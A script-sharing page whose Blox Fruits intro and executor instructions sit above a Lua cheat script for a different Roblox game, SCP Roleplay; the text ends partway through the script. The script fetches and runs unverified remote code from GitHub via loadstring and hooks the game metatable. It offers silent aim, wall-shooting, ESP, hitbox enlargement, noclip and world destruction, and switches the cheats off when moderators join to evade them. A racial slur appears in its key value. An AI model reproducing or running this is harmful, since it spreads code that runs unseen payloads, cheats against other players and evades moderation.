Blox Fruits is an immensely popular game on the Roblox platform, boasting a vast user base. This action-adventure game revolves around a pirate theme, where players enagage in combat against a variety of enemies and challenging bosses. Exploring islands and consuming different fruits are essential for advancing your character’s level
What is Roblox Script?
Roblox Scripts typically refer to snippets of code that offer automation advantages within the game. Independent developers and scripters create these scripts, which are not officially endorsed by the Roblox platform. Nevertheless, you can still utilize these scripts through Roblox executors such as Arceus X, Hydrogen Executor, JJSploit, Fluxus executor, and others.
How to Use Roblox Script?
- Launch Roblox and join your desired game.
- Click the “Copy” button to duplicate the script code.
- Paste the script code into your preferred Roblox executor.
- Execute the script code and savor the enhanced experience.
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
if game.PlaceId ~= 5041144419 and game.PlaceId ~= 6939657427 then
game.Players.LocalPlayer:Kick("This script only works in SCP Roleplay")
game.Players.LocalPlayer:Destroy()
end
loadstring(game:HttpGet('https://raw.githubusercontent.com/0ij34fn39uj/4089h4380bg3b08/main/auth'))()
local Rayfield = loadstring(game:HttpGet('https://raw.githubusercontent.com/axleoislost/NullZen/main/ray'))()
local Window = Rayfield:CreateWindow({
Name = "NullZen || Scp Roleplay || v1.24",
Icon = 0,
LoadingTitle = "Loading ...",
LoadingSubtitle = "By axleoislost",
Theme = "AmberGlow",
DisableRayfieldPrompts = false,
DisableBuildWarnings = false,
ConfigurationSaving = {
Enabled = false,
FolderName = nil,
FileName = "NullZen Configs"
},
Discord = {
Enabled = false,
Invite = "noinvitelink",
RememberJoins = true
},
KeySystem = false,
KeySettings = {
Title = "NullZen || Scp Roleplay || v1.22",
Subtitle = "Join Discord For key",
Note = "discord.gg/RtN2jBwRTN",
FileName = "Key",
SaveKey = false,
GrabKeyFromSite = false,
Key = {"NULLZEN_I_HATE_NIGGERS_018749"}
}
})
local Main = Window:CreateTab("Main", 4483362458)
local Section = Main:CreateSection("Options")
--[[
local Toggle = Main:CreateToggle({
Name = "Anti Mod",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local targetGroupRoles = {
{groupId = 5479038, roleId = 248},
{groupId = 5479038, roleId = 249},
{groupId = 5479038, roleId = 250},
{groupId = 5479038, roleId = 251},
{groupId = 5479038, roleId = 252},
{groupId = 5479038, roleId = 255}
}
local kickToggle = Value
local function checkPlayerRoles(player)
for _, groupRole in ipairs(targetGroupRoles) do
local groupId = groupRole.groupId
local roleId = groupRole.roleId
if player:GetRankInGroup(groupId) == roleId and kickToggle then
LocalPlayer:Kick("!!! Mod joined !!! = " .. player.Name)
return
end
end
end
Players.PlayerAdded:Connect(function(player)
checkPlayerRoles(player)
end)
for _, player in ipairs(Players:GetPlayers()) do
if player ~= LocalPlayer then
checkPlayerRoles(player)
end
end
end,
})
]]
local AntiAfkToggle = Main:CreateToggle({
Name = "Anti AFK",
CurrentValue = false,
Flag = "AntiAfkToggle",
Callback = function(Value)
local vu = game:GetService("VirtualUser")
game:GetService("Players").LocalPlayer.Idled:connect(function()
vu:Button2Down(Vector2.new(0, 0), workspace.CurrentCamera.CFrame)
wait(1)
vu:Button2Up(Vector2.new(0, 0), workspace.CurrentCamera.CFrame)
end)
end,
})
local FullBrightToggle = Main:CreateToggle({
Name = "FullBright",
CurrentValue = false,
Flag = "FullBrightToggle",
Callback = function(Value)
if Value then
game:GetService("Lighting").Ambient = Color3.new(2, 2, 2)
else
game:GetService("Lighting").Ambient = Color3.new(0, 0, 0)
end
end,
})
local Noclip = nil
local Clip = nil
function noclip()
Clip = false
local function Nocl()
if Clip == false and game.Players.LocalPlayer.Character ~= nil then
for _, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if v:IsA('BasePart') and v.CanCollide and v.Name ~= floatName then
v.CanCollide = false
end
end
end
wait(0.21)
end
Noclip = game:GetService('RunService').Stepped:Connect(Nocl)
end
function clip()
if Noclip then Noclip:Disconnect() end
Clip = true
end
local NoclipToggle = Main:CreateToggle({
Name = "Noclip",
CurrentValue = false,
Flag = "NoclipToggle",
Callback = function(Value)
if Value then
noclip()
else
clip()
end
end,
})
local AntiVoidToggle = Main:CreateToggle({
Name = "Anti Void",
CurrentValue = false,
Flag = "AntiVoidToggle",
Callback = function(Value)
isRaycastingEnabled = Value
if Value then
local player = game.Players.LocalPlayer
local humanoidRootPart
local checkInterval = 0.1
local partSize = Vector3.new(4, 1, 4)
local partColor = Color3.new(1, 0, 0)
local spawnedParts = {}
local debounce = 0
local heartbeatConnection
local function spawnPartBelow()
local part = Instance.new("Part")
part.Size = partSize
part.Position = humanoidRootPart.Position - Vector3.new(0, partSize.Y / 2 + 1, 0)
part.Anchored = true
part.CanCollide = true
part.BrickColor = BrickColor.new(partColor)
part.Transparency = 1
part.Parent = workspace
table.insert(spawnedParts, part)
return part
end
local function checkForGround()
if not isRaycastingEnabled then
return
end
local ray = Ray.new(humanoidRootPart.Position, Vector3.new(0, -1000, 0))
local hitPart, hitPosition = workspace:FindPartOnRay(ray, player.Character)
if not hitPart then
local newPart = spawnPartBelow()
local isStandingOnPart = false
while not isStandingOnPart do
wait(0.1)
if humanoidRootPart.Position.Y <= newPart.Position.Y + partSize.Y / 2 then isStandingOnPart = true end end newPart:Destroy() end end local function onHeartbeat(deltaTime) debounce = debounce + deltaTime if debounce >= checkInterval then
debounce = 0
checkForGround()
end
end
local function setupPlayer(character)
humanoidRootPart = character:WaitForChild("HumanoidRootPart")
if heartbeatConnection then
heartbeatConnection:Disconnect()
end
local runService = game:GetService("RunService")
heartbeatConnection = runService.Heartbeat:Connect(onHeartbeat)
end
player.CharacterAdded:Connect(setupPlayer)
if player.Character then
setupPlayer(player.Character)
end
if not heartbeatConnection then
local runService = game:GetService("RunService")
heartbeatConnection = runService.Heartbeat:Connect(onHeartbeat)
end
else
if heartbeatConnection then
heartbeatConnection:Disconnect()
end
end
end,
})
local speedBoostEnabled = true
local currentBoostAmount = 0
local heartbeatConnection
local runningConnection
local function setupCharacter(character)
local humanoid = character:WaitForChild("Humanoid")
local runService = game:GetService("RunService")
if heartbeatConnection then
heartbeatConnection:Disconnect()
end
if runningConnection then
runningConnection:Disconnect()
end
local boosting = false
local function applyBoost()
if speedBoostEnabled then
local delta = humanoid.MoveDirection * currentBoostAmount
character:SetPrimaryPartCFrame(character.PrimaryPart.CFrame + delta)
end
end
local function onMove()
boosting = humanoid.MoveDirection.Magnitude > 0
end
heartbeatConnection = runService.Heartbeat:Connect(function()
if boosting then
applyBoost()
end
end)
runningConnection = humanoid.Running:Connect(onMove)
end
local player = game.Players.LocalPlayer
player.CharacterAdded:Connect(setupCharacter)
if player.Character then
setupCharacter(player.Character)
end
local SpeedBoostSlider = Main:CreateSlider({
Name = "Speed Boost",
Range = {0, 0.3},
Increment = 0.05,
Suffix = "Boost",
CurrentValue = 0,
Flag = "SpeedBoostSlider",
Callback = function(Value)
currentBoostAmount = Value
if player.Character then
setupCharacter(player.Character)
end
end,
})
--[[
local player = game.Players.LocalPlayer
local desiredWalkSpeed = 16
local walkSpeedLoopEnabled = false
local walkSpeedConnection
local function setWalkSpeed(speed)
if player.Character and player.Character:FindFirstChild("Humanoid") then
player.Character.Humanoid.WalkSpeed = speed
end
end
local Toggle = Main:CreateToggle({
Name = "Enable Speed",
CurrentValue = false,
Flag = "WalkSpeedToggle",
Callback = function(Value)
walkSpeedLoopEnabled = Value
if walkSpeedLoopEnabled then
walkSpeedConnection = game:GetService("RunService").Heartbeat:Connect(function()
setWalkSpeed(desiredWalkSpeed)
end)
else
if walkSpeedConnection then
walkSpeedConnection:Disconnect()
end
end
end,
})
local Slider = Main:CreateSlider({
Name = "Walkspeed Speed",
Range = {0, 39},
Increment = 1,
Suffix = "WalkSpeed",
CurrentValue = 16,
Flag = "WalkSpeedSlider",
Callback = function(Value)
desiredWalkSpeed = Value
if walkSpeedLoopEnabled then
setWalkSpeed(desiredWalkSpeed)
end
end,
})
]]
local Teleports = Window:CreateTab("Teleports", 4483362458)
local Section = Teleports:CreateSection("TP")
local Label = Teleports:CreateLabel("spam teleports if doesnt work")
local function tp(coords, x)
for i = 1, x do
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(coords))
task.wait(0)
end
end
local Button = Teleports:CreateButton({
Name = "Class D Cells",
Callback = function()
tp(Vector3.new(-31, 22, 305), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Class D Cells Hidden Spot",
Callback = function()
tp(Vector3.new(-60, 22, 318), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Sector 1",
Callback = function()
tp(Vector3.new(-320, 22, 17), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Sector 2",
Callback = function()
tp(Vector3.new(-32, 22, 56), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Sector 3",
Callback = function()
tp(Vector3.new(237, 22, -9), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Helipad",
Callback = function()
tp(Vector3.new(-816, 22, 16), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Bunker",
Callback = function()
tp(Vector3.new(-168, -6, -146), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "CI Spawn",
Callback = function()
tp(Vector3.new(90, 95, 10), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "SCP-096",
Callback = function()
tp(Vector3.new(502, 22, -330), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "SCP-079",
Callback = function()
tp(Vector3.new(333, 22, 58), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "SCP-002",
Callback = function()
tp(Vector3.new(593, 22, -40), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "SCP-008",
Callback = function()
tp(Vector3.new(378, 22, 100), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "SCP-173",
Callback = function()
tp(Vector3.new(224, 22, 97), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Control Room",
Callback = function()
tp(Vector3.new(-56, 17, -109), 150)
end,
})
local Button = Teleports:CreateButton({
Name = "Transformers",
Callback = function()
tp(Vector3.new(-185, 18, -98), 150)
end,
})
local Combat = Window:CreateTab("Combat", 4483362458)
local Section = Combat:CreateSection(" ")
local player = game.Players.LocalPlayer
local model = game.Workspace:FindFirstChild(player.Name)
local isToggled = false
local AutoReloadToggle = Combat:CreateToggle({
Name = "Auto Reload",
CurrentValue = false,
Flag = "AutoReloadToggle",
Callback = function(Value)
isToggled = Value
if isToggled then
spawn(function()
while isToggled do
if model then
local character = player.Character or player.CharacterAdded:Wait()
for _, tool in ipairs(character:GetChildren()) do
if tool:IsA("Tool") and tool:FindFirstChild("Laser") then
local currentAmmo = tool:FindFirstChild("CurrentAmmo")
if currentAmmo and currentAmmo:IsA("IntValue") and currentAmmo.Value < 1 then repeat game:GetService("VirtualInputManager"):SendKeyEvent(true, "R", false, game) wait(0.2) until currentAmmo.Value >= 1
end
end
end
end
wait(0.2)
end
end)
end
end,
})
local Esp1Toggle = Combat:CreateToggle({
Name = "ESP 1",
CurrentValue = false,
Flag = "Esp1Toggle",
Callback = function(Value)
ToggleESP(Value)
end,
})
local Players = game:GetService("Players")
local ESPEnabled = false
local ESPBoxes = {}
local function getTeamColor(player)
local team = player.Team
return team and team.TeamColor.Color or Color3.new(1, 1, 1)
end
local function createESP(player)
if player == Players.LocalPlayer then return end
local function applyBox(part)
local box = Instance.new("BoxHandleAdornment")
box.Size = part.Size
box.Adornee = part
box.Color3 = getTeamColor(player)
box.Transparency = 0.6
box.AlwaysOnTop = true
box.ZIndex = 10
box.Parent = part
if not ESPBoxes[player] then
ESPBoxes[player] = {}
end
table.insert(ESPBoxes[player], box)
end
local function onCharacterAdded(character)
for _, part in pairs(character:GetChildren()) do
if part:IsA("BasePart") then
applyBox(part)
end
end
character.ChildAdded:Connect(function(part)
if part:IsA("BasePart") then
applyBox(part)
end
end)
end
if player.Character then
onCharacterAdded(player.Character)
end
player.CharacterAdded:Connect(onCharacterAdded)
end
local function onPlayerAdded(player)
if ESPEnabled then
createESP(player)
end
end
for _, player in pairs(Players:GetPlayers()) do
onPlayerAdded(player)
end
Players.PlayerAdded:Connect(onPlayerAdded)
Players.PlayerRemoving:Connect(function(player)
if ESPBoxes[player] then
for _, box in pairs(ESPBoxes[player]) do
if box then
box:Destroy()
end
end
ESPBoxes[player] = nil
end
end)
function ToggleESP(value)
ESPEnabled = value
if ESPEnabled then
for _, player in pairs(Players:GetPlayers()) do
if player ~= Players.LocalPlayer then
createESP(player)
end
end
else
for _, boxes in pairs(ESPBoxes) do
for _, box in pairs(boxes) do
if box then
box:Destroy()
end
end
end
ESPBoxes = {}
end
end
local espRunning = false
local Esp2Toggle = Combat:CreateToggle({
Name = "ESP 2",
CurrentValue = false,
Flag = "Esp2Toggle",
Callback = function(Value)
local Players = game:GetService("Players")
if espRunning then
espRunning = false
for _, player in pairs(Players:GetPlayers()) do
if player.Character then
local highlight = player.Character:FindFirstChild("PlayerHighlight")
if highlight then
highlight:Destroy()
end
end
end
end
if Value then
espRunning = true
spawn(function()
while espRunning do
for _, player in pairs(Players:GetPlayers()) do
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
local highlight = player.Character:FindFirstChild("PlayerHighlight")
if not highlight then
highlight = Instance.new("Highlight")
highlight.Name = "PlayerHighlight"
highlight.Parent = player.Character
highlight.Adornee = player.Character
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
end
highlight.FillColor = player.TeamColor.Color
highlight.FillTransparency = 0.5
end
end
wait(3)
end
end)
end
Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
character:WaitForChild("HumanoidRootPart", 10)
if espRunning then
local highlight = character:FindFirstChild("PlayerHighlight")
if not highlight then
highlight = Instance.new("Highlight")
highlight.Name = "PlayerHighlight"
highlight.Parent = character
highlight.Adornee = character
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
end
highlight.FillColor = player.TeamColor.Color
highlight.FillTransparency = 0.5
end
end)
end)
Players.PlayerRemoving:Connect(function(player)
if player.Character then
local highlight = player.Character:FindFirstChild("PlayerHighlight")
if highlight then
highlight:Destroy()
end
end
end)
Players.LocalPlayer.CharacterAdded:Connect(function(character)
if espRunning then
for _, player in pairs(Players:GetPlayers()) do
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
local highlight = player.Character:FindFirstChild("PlayerHighlight")
if not highlight then
highlight = Instance.new("Highlight")
highlight.Name = "PlayerHighlight"
highlight.Parent = player.Character
highlight.Adornee = player.Character
highlight.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
end
highlight.FillColor = player.TeamColor.Color
highlight.FillTransparency = 0.5
end
end
end
end)
end,
})
local HeadHitboxSlider = Combat:CreateSlider({
Name = "Head Hitbox Size",
Range = {1, 3.2},
Increment = 0.1,
Suffix = "Size",
CurrentValue = 1,
Flag = "HeadHitboxSlider",
Callback = function(Value)
_G.headsize = Value
local function updateHeads()
for _, player in ipairs(game.Players:GetPlayers()) do
if player ~= game.Players.LocalPlayer then
local character = player.Character
if character then
local head = character:FindFirstChild("Head")
if head then
if head.Size.X ~= _G.headsize or head.Size.Y ~= _G.headsize or head.Size.Z ~= _G.headsize then
head.Size = Vector3.new(_G.headsize, _G.headsize, _G.headsize)
local mesh = head:FindFirstChildOfClass("SpecialMesh")
if mesh then
mesh.Scale = Vector3.new(1.5, 1.5, 1.5)
end
head.CanCollide = false
local teamColor = player.TeamColor
head.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White")
head.Transparency = 0.9
end
end
end
end
end
end
updateHeads()
while true do
wait(3)
for _, player in ipairs(game.Players:GetPlayers()) do
if player ~= game.Players.LocalPlayer then
local character = player.Character
if character then
local head = character:FindFirstChild("Head")
if head and (head.Size.X ~= _G.headsize or head.Size.Y ~= _G.headsize or head.Size.Z ~= _G.headsize) then
head.Size = Vector3.new(_G.headsize, _G.headsize, _G.headsize)
local mesh = head:FindFirstChildOfClass("SpecialMesh")
if mesh then
mesh.Scale = Vector3.new(1.5, 1.5, 1.5)
end
head.CanCollide = false
local teamColor = player.TeamColor
head.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White")
head.Transparency = 0.9
end
end
end
end
end
end,
})
local BodyHitboxSlider = Combat:CreateSlider({
Name = "Body Hitbox Size",
Range = {1, 3.2},
Increment = 0.1,
Suffix = "Size",
CurrentValue = 1,
Flag = "BodyHitboxSlider",
Callback = function(Value)
_G.bodysize = Value
local function updateHumanoidRootParts()
for _, player in ipairs(game.Players:GetPlayers()) do
if player ~= game.Players.LocalPlayer then
local character = player.Character
if character then
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
if humanoidRootPart.Size.X ~= _G.bodysize or humanoidRootPart.Size.Y ~= _G.bodysize or humanoidRootPart.Size.Z ~= _G.bodysize then
humanoidRootPart.Size = Vector3.new(_G.bodysize, _G.bodysize, _G.bodysize)
local mesh = humanoidRootPart:FindFirstChildOfClass("SpecialMesh")
if mesh then
mesh.Scale = Vector3.new(1.5, 1.5, 1.5)
end
humanoidRootPart.CanCollide = false
local teamColor = player.TeamColor
humanoidRootPart.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White")
humanoidRootPart.Transparency = 0.9
end
end
end
end
end
end
updateHumanoidRootParts()
while true do
wait(3)
for _, player in ipairs(game.Players:GetPlayers()) do
if player ~= game.Players.LocalPlayer then
local character = player.Character
if character then
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart and (humanoidRootPart.Size.X ~= _G.bodysize or humanoidRootPart.Size.Y ~= _G.bodysize or humanoidRootPart.Size.Z ~= _G.bodysize) then
humanoidRootPart.Size = Vector3.new(_G.bodysize, _G.bodysize, _G.bodysize)
local mesh = humanoidRootPart:FindFirstChildOfClass("SpecialMesh")
if mesh then
mesh.Scale = Vector3.new(1.5, 1.5, 1.5)
end
humanoidRootPart.CanCollide = false
local teamColor = player.TeamColor
humanoidRootPart.BrickColor = teamColor and BrickColor.new(teamColor.Color) or BrickColor.new("White")
humanoidRootPart.Transparency = 0.9
end
end
end
end
end
end,
})
local Section = Combat:CreateSection("Aimbot")
local originalNamecall
local hooked = false
local SilentEffective = Combat:CreateToggle({
Name = "Make Silent Aim More Bullet Efficient",
CurrentValue = false,
Flag = "Toggle1",
Callback = function(Value)
local BlockedRemotes = {
"ShotRemote",
"CRLService",
"GetInfo"
}
local mt = getrawmetatable(game)
if Value then
if not hooked then
originalNamecall = originalNamecall or mt.__namecall
setreadonly(mt, false)
mt.__namecall = function(self, ...)
local method = getnamecallmethod()
local args = {...}
if method == "FireServer" then
for _, arg in ipairs(args) do
if type(arg) == "string" and arg == "allowed123zz" then
return originalNamecall(self, ...)
end
end
for _, remoteName in ipairs(BlockedRemotes) do
if self.Name == remoteName then
return
end
end
end
return originalNamecall(self, ...)
end
setreadonly(mt, true)
hooked = true
end
else
if hooked then
setreadonly(mt, false)
mt.__namecall = originalNamecall
setreadonly(mt, true)
hooked = false
end
end
end
})
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local localPlayer = Players.LocalPlayer
local camera = workspace.CurrentCamera
local holdingLeftClick = false
local aimFov = 40
local remote = ReplicatedStorage:WaitForChild("Remotes"):WaitForChild("ShotRemote")
local silentAimEnabled = false
local function hasGun(character)
for _, tool in ipairs(character:GetChildren()) do
if tool:IsA("Tool") and tool:FindFirstChild("Laser") then
return true
end
end
return false
end
local function isBodyPart(instance)
if instance:IsA("BasePart") then
local character = instance.Parent
if character and character:IsA("Model") and character:FindFirstChild("Humanoid") then
return true
end
end
return false
end
local function isExempt(instance)
return instance.Name == "Handle"
end
local function getTeamName(player)
return player.Team and player.Team.Name or "NoTeam"
end
local function isInsideArea(position)
local minX, maxX = -155, 96
local minY, maxY = 16, 92
local minZ, maxZ = 224, 428
return position.X >= minX and position.X <= maxX and position.Y >= minY and position.Y <= maxY and position.Z >= minZ and position.Z <= maxZ
end
local function isTarget(localPlayer, otherPlayer)
local playerTeamName = getTeamName(localPlayer)
local otherTeamName = getTeamName(otherPlayer)
local character = localPlayer.Character
local otherCharacter = otherPlayer.Character
if not character or not otherCharacter or not otherCharacter:FindFirstChild("HumanoidRootPart") then
return false
end
local head = otherCharacter:FindFirstChild("Head")
if head and head.BrickColor == BrickColor.new("Olivine") then
return true
end
if playerTeamName == "Class - D" or playerTeamName == "Chaos Insurgency" then
return otherTeamName ~= "Class - D" and otherTeamName ~= "Chaos Insurgency"
else
if otherTeamName == "Class - D" then
local targetPosition = otherCharacter.HumanoidRootPart.Position
return not isInsideArea(targetPosition) or hasGun(otherCharacter)
elseif otherTeamName == "Chaos Insurgency" then
return true
end
end
return false
end
local function isWithinFov(directionToPlayer, cameraDirection, fov)
local angle = math.acos(cameraDirection:Dot(directionToPlayer))
local fovRadians = math.rad(fov / 2)
return angle <= fovRadians end local function getFacingPlayer() local facingPlayer = nil local minDistance = math.huge local cameraDirection = camera.CFrame.LookVector for _, player in pairs(Players:GetPlayers()) do if player ~= localPlayer and player.Character and player.Character:FindFirstChild("Head") and isTarget(localPlayer, player) then local humanoid = player.Character:FindFirstChild("Humanoid") if humanoid and humanoid.Health > 0 then
local head = player.Character.Head
local directionToPlayer = (head.Position - localPlayer.Character.Head.Position).Unit
local distance = (head.Position - localPlayer.Character.Head.Position).Magnitude
if isWithinFov(directionToPlayer, cameraDirection, aimFov) then
if distance < minDistance then minDistance = distance facingPlayer = player end end end end end return facingPlayer end local function performRaycast(targetPlayer) local origin = localPlayer.Character.Head.Position local targetHead = targetPlayer.Character and targetPlayer.Character:FindFirstChild("Head") if not targetHead then return false end local direction = (targetHead.Position - origin).unit local distance = (targetHead.Position - origin).magnitude local raycastParams = RaycastParams.new() raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.FilterDescendantsInstances = {localPlayer.Character} local raycastResult = workspace:Raycast(origin, direction * distance, raycastParams) if raycastResult and not isBodyPart(raycastResult.Instance) and raycastResult.Instance.Name ~= "Handle" then if not isExempt(raycastResult.Instance) then return false end end return true end local function fireAtTarget() while holdingLeftClick and silentAimEnabled do local facingPlayer = getFacingPlayer() if facingPlayer and facingPlayer.Character and facingPlayer.Character:FindFirstChild("Head") then local headPosition = facingPlayer.Character.Head.Position local myHeadPosition = localPlayer.Character.Head.Position local distance = (headPosition - myHeadPosition).Magnitude if distance > 170 then
break
end
local canFire = (not raycastEnabled) and performRaycast(facingPlayer) or raycastEnabled
if canFire then
local args = {
[1] = {myHeadPosition.X, myHeadPosition.Y, myHeadPosition.Z},
[2] = facingPlayer.Character.Head,
[3] = headPosition,
[4] = "allowed123zz"
}
remote:FireServer(unpack(args))
end
end
wait(0.1)
end
end
UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
if not holdingLeftClick then
holdingLeftClick = true
fireAtTarget()
end
end
end)
UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
holdingLeftClick = false
end
end)
local SilentAimToggle = Combat:CreateToggle({
Name = "Enable Silent Aim",
CurrentValue = false,
Flag = "SilentAimToggle",
Callback = function(Value)
silentAimEnabled = Value
SilentEffective:Set(Value)
end,
})
local RCToggle = Combat:CreateToggle({
Name = "WallBang (Silent Aim only) (Shoots Thru Walls)",
CurrentValue = false,
Flag = "ToggleRaycast",
Callback = function(Value)
raycastEnabled = Value
end,
})
local Slider = Combat:CreateSlider({
Name = "FOV",
Range = {0, 120},
Increment = 1,
Suffix = " ",
CurrentValue = 40,
Flag = "Slider1",
Callback = function(Value)
aimFov = Value
end,
})
local drawingCircle
local Toggle = Combat:CreateToggle({
Name = "Show FOV",
CurrentValue = false,
Flag = "ToggleFOVCircle",
Callback = function(Value)
if Value then
drawingCircle = Drawing.new("Circle")
drawingCircle.Thickness = 2
drawingCircle.NumSides = 64
drawingCircle.Color = Color3.new(1, 1, 1)
drawingCircle.Transparency = 1
drawingCircle.Filled = false
drawingCircle.Position = Vector2.new(workspace.CurrentCamera.ViewportSize.X / 2, workspace.CurrentCamera.ViewportSize.Y / 2)
game:GetService("RunService").RenderStepped:Connect(function()
if drawingCircle then
drawingCircle.Radius = aimFov * 5
end
end)
else
if drawingCircle then
drawingCircle:Remove()
drawingCircle = nil
end
end
end,
})
local World = Window:CreateTab("World", 4483362458)
local Section = World:CreateSection(" ")
local Button = World:CreateButton({
Name = "Destroy Everything",
Callback = function()
local location1 = Vector3.new(558, 22, -311)
local function deleteAbovePoint(point)
local heightThreshold = point.Y + -2
for _, instance in ipairs(workspace:GetDescendants()) do
if instance:IsA("BasePart") then
local ancestor = instance
local belongsToHumanoid = false
while ancestor.Parent do
if ancestor:FindFirstChildOfClass("Humanoid") then
belongsToHumanoid = true
break
end
ancestor = ancestor.Parent
end
if not belongsToHumanoid and instance.Position.Y > heightThreshold then
instance:Destroy()
end
end
end
end
deleteAbovePoint(location1)
end,
})
local Button = World:CreateButton({
Name = "Destroy Doors",
Callback = function()
local function destroyWallsInFolder(folder)
for _, obj in pairs(folder:GetChildren()) do
if string.match(obj.Name:lower(), "door") then
obj:Destroy()
end
if obj:IsA("Folder") or obj:IsA("Model") then
destroyWallsInFolder(obj)
end
end
end
destroyWallsInFolder(workspace)
end,
})
local Weapons = Window:CreateTab("Buy Gear", 4483362458)
local Section = Weapons:CreateSection(" ")
local Button = Weapons:CreateButton({
Name = "Scar - H",
Callback = function()
local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382))
wait(0.2)
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Scar - H")
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Scar - H")
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos)
end,
})
local Button = Weapons:CreateButton({
Name = "Spas - 12",
Callback = function()
local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382))
wait(0.2)
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Spas - 12")
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Spas - 12")
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos)
end,
})
local Button = Weapons:CreateButton({
Name = "Kriss Vector",
Callback = function()
local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382))
wait(0.2)
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Kriss Vector")
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Kriss Vector")
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos)
end,
})
local Button = Weapons:CreateButton({
Name = "Glock 17",
Callback = function()
local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382))
wait(0.2)
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Glock 17")
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Glock 17")
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos)
end,
})
local Button = Weapons:CreateButton({
Name = "Vest",
Callback = function()
local currentpos = game.Players.LocalPlayer.Character.Humanoid.RootPart.Position
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(Vector3.new(50, 23, 382))
wait(0.2)
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Vest")
game.ReplicatedStorage.Remotes.JerryAlex:FireServer("Vest")
game.Players.LocalPlayer.Character.Humanoid.RootPart.CFrame = CFrame.new(currentpos)
end,
})
local Misc = Window:CreateTab("Misc", 4483362458)
local MiscSection = Misc:CreateSection("Misc")
local Button = Misc:CreateButton({
Name = "Rejoin Current Server",
Callback = function()
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local currentPlaceId = game.PlaceId
local currentJobId = game.JobId
TeleportService:TeleportToPlaceInstance(currentPlaceId, currentJobId, player)
end,
})
local Button = Misc:CreateButton({
Name = "Show Full Chat",
Callback = function()
local StarterGui = game:GetService("StarterGui")
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local chatFrame = player.PlayerGui.Chat.Frame
chatFrame.ChatChannelParentFrame.Visible = true
chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(), chatFrame.ChatChannelParentFrame.Size.Y)
end,
})
local Slider = Misc:CreateSlider({
Name = "FPS Limit",
Range = {10, 360},
Increment = 10,
Suffix = "FPS",
CurrentValue = 60,
Flag = "Slider1",
Callback = function(Value)
setfpscap(Value)
end,
})
local TurnOffEverythingToggle = Misc:CreateToggle({
Name = "Turn Off Everything When a Moderator Joins",
CurrentValue = false,
Flag = "TurnOffEverythingToggle",
Callback = function(Value)
for _, plr in next, game.Players:GetPlayers() do
if plr:GetRankInGroup(5479038) >= 248 and Value then
Rayfield:Notify({
Title = "Turned Off Everything",
Content = "The Moderator ".. plr.Name .." joined this server so for your safety everything has been turned off",
Duration = 20,
Image = 4483362458,
})
AntiAfkToggle:Set(false)
FullBrightToggle:Set(false)
NoclipToggle:Set(false)
AntiVoidToggle:Set(false)
SpeedBoostSlider:Set(0)
AutoReloadToggle:Set(false)
Esp1Toggle:Set(false)
Esp2Toggle:Set(false)
